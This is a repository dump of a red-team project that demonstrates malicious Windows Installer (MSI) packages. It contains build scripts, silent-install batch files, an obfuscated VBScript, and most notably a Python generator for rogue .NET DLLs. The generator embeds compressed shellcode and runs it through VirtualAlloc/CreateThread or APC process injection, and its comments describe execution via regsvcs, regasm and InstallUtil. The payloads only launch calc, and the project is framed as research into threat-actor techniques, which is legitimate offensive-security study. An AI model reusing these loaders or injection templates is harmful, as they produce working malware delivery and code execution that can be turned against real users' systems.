├── 1-exe
├── Autoruns64.exe
├── build.ps1
├── dummy.txt
├── sample1-run-autoruns64.msi
├── sample1-run-autoruns64.wxs
└── test-msi.bat
├── 2-vbscript
├── build.ps1
├── dummy.txt
├── run-calc.vbs
├── sample2-run-calc-script.msi
├── sample2-run-calc-script.wxs
└── test-msi.bat
├── 3-dotnet
├── CustomAction.CA.dll
├── CustomAction.dll
├── build.ps1
├── calc64.bin
├── dummy.txt
├── sample3-run-calc-shellcode-via-dotnet.msi
├── sample3-run-calc-shellcode-via-dotnet.wxs
└── test-msi.bat
├── 4-post-actions
├── build.ps1
├── dummy.txt
├── evil.msi
├── sample4-customaction-run-calc.msi
├── sample4-customaction-run-calc.wxs
└── test-msi.bat
├── README.md
└── tools
├── MsiDb.exe
├── rogue-dot-net
├── Microsoft.Deployment.WindowsInstaller.dll
├── System.Management.Automation.dll
├── generateRogueDotNet.py
└── key.snk
└── wix
├── DTF.chm
├── LICENSE.TXT
├── MakeSfxCA.exe
├── MakeSfxCA.exe.config
├── Microsoft.Deployment.Compression.Cab.dll
├── Microsoft.Deployment.Compression.Cab.xml
├── Microsoft.Deployment.Compression.dll
├── Microsoft.Deployment.Compression.xml
├── Microsoft.Deployment.Resources.dll
├── Microsoft.Deployment.Resources.xml
├── Microsoft.Deployment.WindowsInstaller.dll
├── Microsoft.Deployment.WindowsInstaller.xml
├── WixUIExtension.dll
├── WixUtilExtension.dll
├── candle.exe
├── candle.exe.config
├── darice.cub
├── light.exe
├── light.exe.config
├── wconsole.dll
├── winterop.dll
├── wix.dll
├── x64
└── sfxca.dll
└── x86
└── sfxca.dll
/1-exe/Autoruns64.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/1-exe/Autoruns64.exe
--------------------------------------------------------------------------------
/1-exe/build.ps1:
--------------------------------------------------------------------------------
1 | $curDir = (pwd)
2 | $projName = "sample1-run-autoruns64.wxs"
3 | $outMsi = "sample1-run-autoruns64.msi"
4 |
5 | $candle = Join-Path -Path $curDir -ChildPath "..\tools\wix\candle.exe"
6 | $light = Join-Path -Path $curDir -ChildPath "..\tools\wix\light.exe"
7 | $projectPath = Join-Path -Path $curDir -ChildPath $projName
8 | $objPath = $projectPath -Replace ".wxs", ".wixobj"
9 | $outMsiPath = Join-Path -Path $curDir -ChildPath $outMsi
10 |
11 | Write-Host "`n[+] Step 1: Compiling .wxs into .wixobj with Candle..." -ForegroundColor green
12 | & "$candle" "$projectPath"
13 |
14 | Write-Host "`n[+] Step 2: Linking .wixobj into .msi with Light..." -ForegroundColor green
15 | & "$light" -ext WixUIExtension -cultures:en-us -dcl:high -out "$outMsiPath" "$objPath"
16 |
17 | del "$curDir\*.wixpdb"
18 | del "$curDir\*.wixobj"
19 |
20 | Write-Host "`n[+] Done." -ForegroundColor green
21 |
--------------------------------------------------------------------------------
/1-exe/dummy.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/1-exe/dummy.txt
--------------------------------------------------------------------------------
/1-exe/sample1-run-autoruns64.msi:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/1-exe/sample1-run-autoruns64.msi
--------------------------------------------------------------------------------
/1-exe/sample1-run-autoruns64.wxs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 | NOT REMOVE
43 |
44 |
45 |
46 |
--------------------------------------------------------------------------------
/1-exe/test-msi.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | cmd /c sample1-run-autoruns64.msi /q && sleep 5 && msiexec /q /x sample1-run-autoruns64.msi
--------------------------------------------------------------------------------
/2-vbscript/build.ps1:
--------------------------------------------------------------------------------
1 | $curDir = (pwd)
2 | $projName = "sample2-run-calc-script.wxs"
3 | $outMsi = "sample2-run-calc-script.msi"
4 |
5 | $candle = Join-Path -Path $curDir -ChildPath "..\tools\wix\candle.exe"
6 | $light = Join-Path -Path $curDir -ChildPath "..\tools\wix\light.exe"
7 | $projectPath = Join-Path -Path $curDir -ChildPath $projName
8 | $objPath = $projectPath -Replace ".wxs", ".wixobj"
9 | $outMsiPath = Join-Path -Path $curDir -ChildPath $outMsi
10 |
11 | Write-Host "`n[+] Step 1: Compiling .wxs into .wixobj with Candle..." -ForegroundColor green
12 | & "$candle" "$projectPath"
13 |
14 | Write-Host "`n[+] Step 2: Linking .wixobj into .msi with Light..." -ForegroundColor green
15 | & "$light" -ext WixUIExtension -cultures:en-us -dcl:high -out "$outMsiPath" "$objPath"
16 |
17 | del "$curDir\*.wixpdb"
18 | del "$curDir\*.wixobj"
19 |
20 | Write-Host "`n[+] Done." -ForegroundColor green
--------------------------------------------------------------------------------
/2-vbscript/dummy.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/2-vbscript/dummy.txt
--------------------------------------------------------------------------------
/2-vbscript/run-calc.vbs:
--------------------------------------------------------------------------------
1 | On Error Resume Next
2 | Sub obf_GeneratorEntryPoint()
3 | obf_LaunchCommand "calc"
4 | End Sub
5 |
6 | Sub obf_MacroEntryPoint()
7 | On Error Resume Next
8 | obf_GeneratorEntryPoint
9 | End Sub
10 |
11 | Sub obf_Runtime()
12 | obf_MacroEntryPoint
13 | End Sub
14 |
15 | Sub obf_LaunchCommand(ByVal obf_command)
16 | Dim obf_launcher
17 | Dim obf_cmd
18 |
19 | With CreateObject("WScript.Shell")
20 | With .Exec(obf_command)
21 | .Terminate
22 | End With
23 | End With
24 | End Sub
25 |
26 | obf_Runtime
--------------------------------------------------------------------------------
/2-vbscript/sample2-run-calc-script.msi:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/2-vbscript/sample2-run-calc-script.msi
--------------------------------------------------------------------------------
/2-vbscript/sample2-run-calc-script.wxs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 | NOT REMOVE
43 |
44 |
45 |
46 |
--------------------------------------------------------------------------------
/2-vbscript/test-msi.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | cmd /c sample2-run-calc-script.msi /q && sleep 5 && msiexec /q /x sample2-run-calc-script.msi
--------------------------------------------------------------------------------
/3-dotnet/CustomAction.CA.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/3-dotnet/CustomAction.CA.dll
--------------------------------------------------------------------------------
/3-dotnet/CustomAction.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/3-dotnet/CustomAction.dll
--------------------------------------------------------------------------------
/3-dotnet/build.ps1:
--------------------------------------------------------------------------------
1 | $architecture = "x64"
2 | $dotnetVer = "v2" # or "v4"
3 | $shellcodePath = "$(pwd)\calc64.bin"
4 | $methodName = "MyMethod"
5 | $python = "python"
6 |
7 | $curDir = (pwd)
8 | $projName = "sample3-run-calc-shellcode-via-dotnet.wxs"
9 | $outMsi = "sample3-run-calc-shellcode-via-dotnet.mst"
10 |
11 | $rogueDotNetPath = Join-Path -Path $curDir -ChildPath "..\tools\rogue-dot-net\generateRogueDotNet.py"
12 | $candle = Join-Path -Path $curDir -ChildPath "..\tools\wix\candle.exe"
13 | $light = Join-Path -Path $curDir -ChildPath "..\tools\wix\light.exe"
14 | $makesfxca = Join-Path -Path $curDir -ChildPath "..\tools\wix\MakeSfxCA.exe"
15 | $referencePath = Join-Path -Path $curDir -ChildPath "..\tools\wix\Microsoft.Deployment.WindowsInstaller.dll"
16 | $sfxcaPath = Join-Path -Path $curDir -ChildPath "..\tools\wix\$architecture\sfxca.dll"
17 |
18 | $customActionCAPath = Join-Path -Path $curDir -ChildPath "CustomAction.CA.dll"
19 | $customActionPath = Join-Path -Path $curDir -ChildPath "CustomAction.dll"
20 | $projectPath = Join-Path -Path $curDir -ChildPath $projName
21 | $objPath = $projectPath -Replace ".wxs", ".wixobj"
22 | $outMsiPath = Join-Path -Path $curDir -ChildPath $outMsi
23 |
24 | Write-Host "`n[+] Step 1: Generating rogue .NET DLL..." -ForegroundColor green
25 | & "$python" "$rogueDotNetPath" -M --dotnet-ver $dotnetVer -t plain -s CustomAction -n CustomActions -m $methodName -r -c $architecture -o "$customActionPath" "$shellcodePath"
26 |
27 | Write-Host "`n[+] Step 2: Building SFX Custom Action DLL..." -ForegroundColor green
28 | & "$makesfxca" "$customActionCAPath" "$sfxcaPath" "$customActionPath" "$referencePath"
29 |
30 | Write-Host "`n[+] Step 3: Compiling .wxs into .wixobj with Candle..." -ForegroundColor green
31 | & "$candle" "$projectPath" -arch "$architecture"
32 |
33 | Write-Host "`n[+] Step 4: Linking .wixobj into .msi with Light..." -ForegroundColor green
34 | & "$light" -ext WixUIExtension -cultures:en-us -dcl:high -out "$outMsiPath" "$objPath"
35 |
36 | del "$curDir\*.wixpdb"
37 | del "$curDir\*.wixobj"
38 |
39 | Write-Host "`n[+] Done." -ForegroundColor green
--------------------------------------------------------------------------------
/3-dotnet/calc64.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/3-dotnet/calc64.bin
--------------------------------------------------------------------------------
/3-dotnet/dummy.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/3-dotnet/dummy.txt
--------------------------------------------------------------------------------
/3-dotnet/sample3-run-calc-shellcode-via-dotnet.msi:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/3-dotnet/sample3-run-calc-shellcode-via-dotnet.msi
--------------------------------------------------------------------------------
/3-dotnet/sample3-run-calc-shellcode-via-dotnet.wxs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 | NOT REMOVE
43 |
44 |
45 |
46 |
--------------------------------------------------------------------------------
/3-dotnet/test-msi.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | cmd /c sample3-run-calc-shellcode-via-dotnet.msi /q && sleep 5 && msiexec /q /x sample3-run-calc-shellcode-via-dotnet.msi
--------------------------------------------------------------------------------
/4-post-actions/build.ps1:
--------------------------------------------------------------------------------
1 | $curDir = (pwd)
2 | $projName = "sample4-customaction-run-calc.wxs"
3 | $outMsi = "sample4-customaction-run-calc.msi"
4 |
5 | $candle = Join-Path -Path $curDir -ChildPath "..\tools\wix\candle.exe"
6 | $light = Join-Path -Path $curDir -ChildPath "..\tools\wix\light.exe"
7 | $projectPath = Join-Path -Path $curDir -ChildPath $projName
8 | $objPath = $projectPath -Replace ".wxs", ".wixobj"
9 | $outMsiPath = Join-Path -Path $curDir -ChildPath $outMsi
10 |
11 | Write-Host "`n[+] Step 1: Compiling .wxs into .wixobj with Candle..." -ForegroundColor green
12 | & "$candle" "$projectPath"
13 |
14 | Write-Host "`n[+] Step 2: Linking .wixobj into .msi with Light..." -ForegroundColor green
15 | & "$light" -ext WixUIExtension -cultures:en-us -dcl:high -out "$outMsiPath" "$objPath"
16 |
17 | del "$curDir\*.wixpdb"
18 | del "$curDir\*.wixobj"
19 |
20 | Write-Host "`n[+] Done." -ForegroundColor green
--------------------------------------------------------------------------------
/4-post-actions/dummy.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/4-post-actions/dummy.txt
--------------------------------------------------------------------------------
/4-post-actions/evil.msi:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/4-post-actions/evil.msi
--------------------------------------------------------------------------------
/4-post-actions/sample4-customaction-run-calc.msi:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/4-post-actions/sample4-customaction-run-calc.msi
--------------------------------------------------------------------------------
/4-post-actions/sample4-customaction-run-calc.wxs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 | NOT REMOVE
42 |
43 |
44 |
45 |
46 |
--------------------------------------------------------------------------------
/4-post-actions/test-msi.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | cmd /c sample4-customaction-run-calc.msi /q && sleep 5 && msiexec /q /x sample4-customaction-run-calc.msi
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # MSI Shenanigans
2 |
3 | This repository contains Proof of Concept code and harmless weaponised packages representing various weaponisation strategies that Threat Actors abuse in Windows Installer MSI format.
4 |
5 | Supplemental blog post can be found here:
6 |
7 | - [MSI Shenanigans. Part 1 - Offensive Capabilities Overview](https://mgeeky.tech/msi-shenanigans-part-1/)
8 |
9 | ## Intro
10 |
11 | Samples in this directory constitute PoCes presenting different ways to make MSI installation subsystem execute:
12 |
13 | - EXE files
14 | - VBScript/JScript
15 | - .NET DLLs
16 | - System commands
17 |
18 | ## Samples Included
19 |
20 | - `1-exe` - launches MS Sysinternals Autoruns64.exe from `C:\Windows\Installer\MSXXXX.msi`
21 | - `2-vbscript` - executes VBScript that runs `calc` over `Wscript.Shell.Exec` method
22 | - `3-dotnet` - bundles specially crafted CustomAction .NET DLL, that when executed, runs shellcode which spawns `calc`
23 | - `4-post-actions` - simple MSI that runs system commands after installation is complete, here runs `calc`
24 |
25 |
26 | ---
27 |
28 | ### ☕ Show Support ☕
29 |
30 | This and other projects are outcome of sleepless nights and **plenty of hard work**. If you like what I do and appreciate that I always give back to the community,
31 | [Consider buying me a coffee](https://github.com/sponsors/mgeeky) _(or better a beer)_ just to say thank you! 💪
32 |
33 | ---
34 |
35 | ```
36 | Mariusz Banach / mgeeky, (@mariuszbit)
37 |
38 | ```
--------------------------------------------------------------------------------
/tools/MsiDb.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/MsiDb.exe
--------------------------------------------------------------------------------
/tools/rogue-dot-net/Microsoft.Deployment.WindowsInstaller.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/rogue-dot-net/Microsoft.Deployment.WindowsInstaller.dll
--------------------------------------------------------------------------------
/tools/rogue-dot-net/System.Management.Automation.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/rogue-dot-net/System.Management.Automation.dll
--------------------------------------------------------------------------------
/tools/rogue-dot-net/generateRogueDotNet.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | #
3 | # Red-Teaming script that constructs C# code for Regsvcs/Regasm/InstallUtil code execution technique.
4 | #
5 | # Step 1: Generate source code file
6 | # cmd> python3 generateRogueDotNet.py -r payload.bin > program.cs
7 | #
8 | # Step 2: Compilate library .NET Assembly
9 | # cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:rogue.dll /keyfile:key.snk program.cs
10 | #
11 | # if you passed Powershell code to be launched in a .NET Runspace, then an additional assembly will have to be used
12 | # to compile resulting source code properly - meaning System.Management.Automation.dll (provided with this script).
13 | # Then proper compilation command will be:
14 | #
15 | # cmd> %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.Management.Automation.dll /target:library /out:rogue.dll /keyfile:key.snk program.cs
16 | #
17 | # Step 3: Code execution via Regsvcs, Regasm or InstallUtil:
18 | # x86:
19 | # cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe rogue.dll
20 | # cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\regasm.exe rogue.dll
21 |
22 | # cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U rogue.dll
23 | # cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U rogue.dll
24 |
25 | # cmd> %WINDIR%\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll
26 | # cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll
27 | # x64:
28 | # cmd> %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe rogue.dll
29 | # cmd> %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regasm.exe rogue.dll
30 |
31 | # cmd> %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe /U rogue.dll
32 | # cmd> %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U rogue.dll
33 |
34 | # cmd> %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll
35 | # cmd> %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll
36 | #
37 | # Mariusz B. / mgeeky,
38 | #
39 |
40 | import os
41 | import io
42 | import sys
43 | import gzip
44 | import base64
45 | import string
46 | import random
47 | import pefile
48 | import argparse
49 | import tempfile
50 | import subprocess
51 |
52 | COMPILER_BASE = r'%WINDIR%\\Microsoft.NET\\Framework\\\\csc.exe'
53 |
54 | TYPES_NOT_NEEDING_INPUT_FILE = (
55 | 'run-command', 'exec'
56 | )
57 |
58 | COMPILERS = {
59 | 'v2': r'v2.0.50727',
60 | 'v4': r'v4.0.30319',
61 | }
62 |
63 | decompressionFuncs = '''
64 | public static long CopyTo(Stream source, Stream destination) {
65 | byte[] buffer = new byte[2048];
66 | int bytesRead;
67 | long totalBytes = 0;
68 | while((bytesRead = source.Read(buffer, 0, buffer.Length)) > 0) {
69 | destination.Write(buffer, 0, bytesRead);
70 | totalBytes += bytesRead;
71 | }
72 | return totalBytes;
73 | }
74 |
75 | public static byte[] DecompressString(string compressedText) {
76 | byte[] data = Convert.FromBase64String(compressedText);
77 |
78 | using (MemoryStream ms = new MemoryStream(data)) {
79 | using (GZipStream gzip = new GZipStream(ms, CompressionMode.Decompress)) {
80 | using (MemoryStream decompressed = new MemoryStream()) {
81 | //gzip.CopyTo(decompressed);
82 | CopyTo(gzip, decompressed);
83 | return decompressed.ToArray();
84 | }
85 | }
86 | }
87 | }
88 | '''
89 |
90 | globalOptions = {}
91 |
92 | class ShellCommandReturnedError(Exception):
93 | pass
94 |
95 |
96 | def shell2(cmd, alternative=False, stdErrToStdout=False, surpressStderr=False):
97 | CREATE_NO_WINDOW = 0x08000000
98 | si = subprocess.STARTUPINFO()
99 | si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
100 | si.wShowWindow = subprocess.SW_HIDE
101 |
102 | outs = ''
103 | errs = ''
104 | if not alternative:
105 | out = subprocess.run(
106 | cmd,
107 | cwd = os.path.dirname(os.path.abspath(__file__)),
108 | shell=True,
109 | capture_output=True,
110 | startupinfo=si,
111 | creationflags=CREATE_NO_WINDOW,
112 | timeout=60,
113 | check = False
114 | )
115 |
116 | outs = out.stdout
117 | errs = out.stderr
118 |
119 | else:
120 | proc = subprocess.Popen(
121 | cmd,
122 | cwd = os.path.dirname(os.path.abspath(__file__)),
123 | shell=True,
124 | stdout=subprocess.PIPE,
125 | stderr=subprocess.PIPE,
126 | startupinfo=si,
127 | creationflags=CREATE_NO_WINDOW
128 | )
129 | try:
130 | outs, errs = proc.communicate(timeout=60)
131 | proc.wait()
132 |
133 | except subprocess.TimeoutExpired:
134 | proc.kill()
135 | sys.stderr.write('WARNING! The command timed-out! Results may be incomplete\n')
136 | outs, errs = proc.communicate()
137 |
138 | status = outs.decode(errors='ignore').strip()
139 |
140 | if len(errs) > 0 and not surpressStderr:
141 | error = '''
142 | Running shell command ({}) failed:
143 |
144 | ---------------------------------------------
145 | {}
146 | ---------------------------------------------
147 | '''.format(cmd, errs.decode(errors='ignore'))
148 |
149 | if stdErrToStdout:
150 | return error
151 |
152 | raise ShellCommandReturnedError(error)
153 |
154 | return status
155 |
156 |
157 | def shell(cmd, alternative=False, output=False, surpressStderr=False):
158 | out = shell2(cmd, alternative, stdErrToStdout=output, surpressStderr=surpressStderr)
159 |
160 | return out
161 |
162 |
163 | def getCompressedPayload(filePath, returnRaw=False):
164 | out = io.BytesIO()
165 | encoded = ''
166 | with open(filePath, 'rb') as f:
167 | inp = f.read()
168 |
169 | with gzip.GzipFile(fileobj=out, mode='w') as fo:
170 | fo.write(inp)
171 |
172 | encoded = base64.b64encode(out.getvalue())
173 | if returnRaw:
174 | return encoded
175 |
176 | powershell = "$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('{}')); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();".format(
177 | encoded.decode()
178 | )
179 | return powershell
180 |
181 |
182 | def getPayloadCode(payload):
183 | return f'shellcode = "{payload}";'
184 |
185 | # payloadCode = '\n'
186 | #
187 | # N = 50000
188 | # codeSlices = map(lambda i: payload[i:i + N], range(0, len(payload), N))
189 | #
190 | # variables = []
191 | #
192 | # num = 1
193 | # for code in codeSlices:
194 | # payloadCode += f'string shellcode{num} = "{code}";\n'
195 | # variables.append(f'shellcode{num}')
196 | # num += 1
197 | #
198 | # concat = 'shellcode = ' + ' + '.join(variables) + ';\n'
199 | # payloadCode += concat
200 | #
201 | # return payloadCode
202 |
203 |
204 | def getSourceFileContents(
205 | module,
206 | namespace,
207 | method,
208 | payload,
209 | _format,
210 | apc,
211 | targetProcess,
212 | dontUseNamespace=False,
213 | _type='regasm',
214 | command=''
215 | ):
216 |
217 | templateName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
218 | if len(module) > 0:
219 | templateName = module
220 |
221 | namespaceName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
222 | if len(namespace) > 0:
223 | namespaceName = namespace
224 |
225 | methodName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
226 | if len(method) > 0:
227 | methodName = method
228 |
229 | payloadCode = payload
230 |
231 | if _type not in ['exec', 'run-command']:
232 | payloadCode = getPayloadCode(payload.decode())
233 |
234 | launchCode = ''
235 |
236 | if _type not in ['exec', 'run-command'] and _format == 'exe':
237 |
238 | exeLaunchCode = string.Template('''
239 |
240 | $decompressionFuncs
241 |
242 | public static bool Execute() {
243 |
244 | string shellcode = "";
245 | $payloadCode
246 | byte[] payload = DecompressString(shellcode);
247 |
248 | Assembly asm = Assembly.Load(payload);
249 | MethodInfo method = asm.EntryPoint;
250 | object instance = asm.CreateInstance(method.Name);
251 | method.Invoke(instance, new object[] { new string[] { } });
252 | return true;
253 | }
254 |
255 | ''').safe_substitute(
256 | decompressionFuncs=decompressionFuncs,
257 | payloadCode=payloadCode
258 | )
259 |
260 | launchCode = exeLaunchCode
261 |
262 | elif _type not in ['exec', 'run-command'] and _format == 'raw':
263 |
264 | if not apc:
265 | shellcodeLoader = string.Template('''
266 |
267 | [DllImport("kernel32")]
268 | private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, UInt32 flAllocationType, UInt32 flProtect);
269 |
270 | [DllImport("kernel32")]
271 | private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType);
272 |
273 | [DllImport("kernel32")]
274 | private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId );
275 |
276 | [DllImport("kernel32")]
277 | private static extern bool CloseHandle(IntPtr hHandle);
278 |
279 | [DllImport("kernel32")]
280 | private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds );
281 |
282 | private static UInt32 MEM_COMMIT = 0x1000;
283 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
284 | private static UInt32 MEM_RELEASE = 0x8000;
285 |
286 | $decompressionFuncs
287 |
288 | public static bool Execute() {
289 |
290 | string shellcode = "";
291 | $payloadCode
292 | byte[] payload = DecompressString(shellcode);
293 |
294 | IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
295 | Marshal.Copy(payload, 0, funcAddr, payload.Length);
296 | IntPtr hThread = IntPtr.Zero;
297 | UInt32 threadId = 0;
298 |
299 | hThread = CreateThread(0, 0, funcAddr, IntPtr.Zero, 0, ref threadId);
300 | WaitForSingleObject(hThread, 0xFFFFFFFF);
301 |
302 | CloseHandle(hThread);
303 | VirtualFree(funcAddr, 0, MEM_RELEASE);
304 |
305 | return true;
306 | }
307 |
308 | ''').safe_substitute(
309 | decompressionFuncs=decompressionFuncs,
310 | payloadCode=payloadCode
311 | )
312 | else:
313 | shellcodeLoader = string.Template('''
314 |
315 | $decompressionFuncs
316 |
317 | public static bool Execute() {
318 |
319 | string shellcode = "";
320 | $payloadCode
321 | byte[] payload = DecompressString(shellcode);
322 |
323 | string processpath = Environment.ExpandEnvironmentVariables(@"$targetProcess");
324 | STARTUPINFO si = new STARTUPINFO();
325 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
326 | bool success = CreateProcess(null, processpath,
327 | IntPtr.Zero, IntPtr.Zero, false,
328 | ProcessCreationFlags.CREATE_SUSPENDED,
329 | IntPtr.Zero, null, ref si, out pi);
330 |
331 | IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, payload.Length,MEM_COMMIT, PAGE_READWRITE);
332 | IntPtr bytesWritten = IntPtr.Zero;
333 | bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,payload,payload.Length, out bytesWritten);
334 |
335 | IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId);
336 | uint oldProtect = 0;
337 | resultBool = VirtualProtectEx(pi.hProcess,resultPtr, payload.Length,PAGE_EXECUTE_READ, out oldProtect);
338 | IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero);
339 |
340 | IntPtr ThreadHandle = pi.hThread;
341 | ResumeThread(ThreadHandle);
342 | return true;
343 | }
344 |
345 | private static UInt32 MEM_COMMIT = 0x1000;
346 |
347 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
348 | private static UInt32 PAGE_READWRITE = 0x04;
349 | private static UInt32 PAGE_EXECUTE_READ = 0x20;
350 |
351 | [Flags]
352 | public enum ProcessAccessFlags : uint
353 | {
354 | All = 0x001F0FFF,
355 | Terminate = 0x00000001,
356 | CreateThread = 0x00000002,
357 | VirtualMemoryOperation = 0x00000008,
358 | VirtualMemoryRead = 0x00000010,
359 | VirtualMemoryWrite = 0x00000020,
360 | DuplicateHandle = 0x00000040,
361 | CreateProcess = 0x000000080,
362 | SetQuota = 0x00000100,
363 | SetInformation = 0x00000200,
364 | QueryInformation = 0x00000400,
365 | QueryLimitedInformation = 0x00001000,
366 | Synchronize = 0x00100000
367 | }
368 |
369 | [Flags]
370 | public enum ProcessCreationFlags : uint
371 | {
372 | ZERO_FLAG = 0x00000000,
373 | CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
374 | CREATE_DEFAULT_ERROR_MODE = 0x04000000,
375 | CREATE_NEW_CONSOLE = 0x00000010,
376 | CREATE_NEW_PROCESS_GROUP = 0x00000200,
377 | CREATE_NO_WINDOW = 0x08000000,
378 | CREATE_PROTECTED_PROCESS = 0x00040000,
379 | CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
380 | CREATE_SEPARATE_WOW_VDM = 0x00001000,
381 | CREATE_SHARED_WOW_VDM = 0x00001000,
382 | CREATE_SUSPENDED = 0x00000004,
383 | CREATE_UNICODE_ENVIRONMENT = 0x00000400,
384 | DEBUG_ONLY_THIS_PROCESS = 0x00000002,
385 | DEBUG_PROCESS = 0x00000001,
386 | DETACHED_PROCESS = 0x00000008,
387 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
388 | INHERIT_PARENT_AFFINITY = 0x00010000
389 | }
390 |
391 | public struct PROCESS_INFORMATION
392 | {
393 | public IntPtr hProcess;
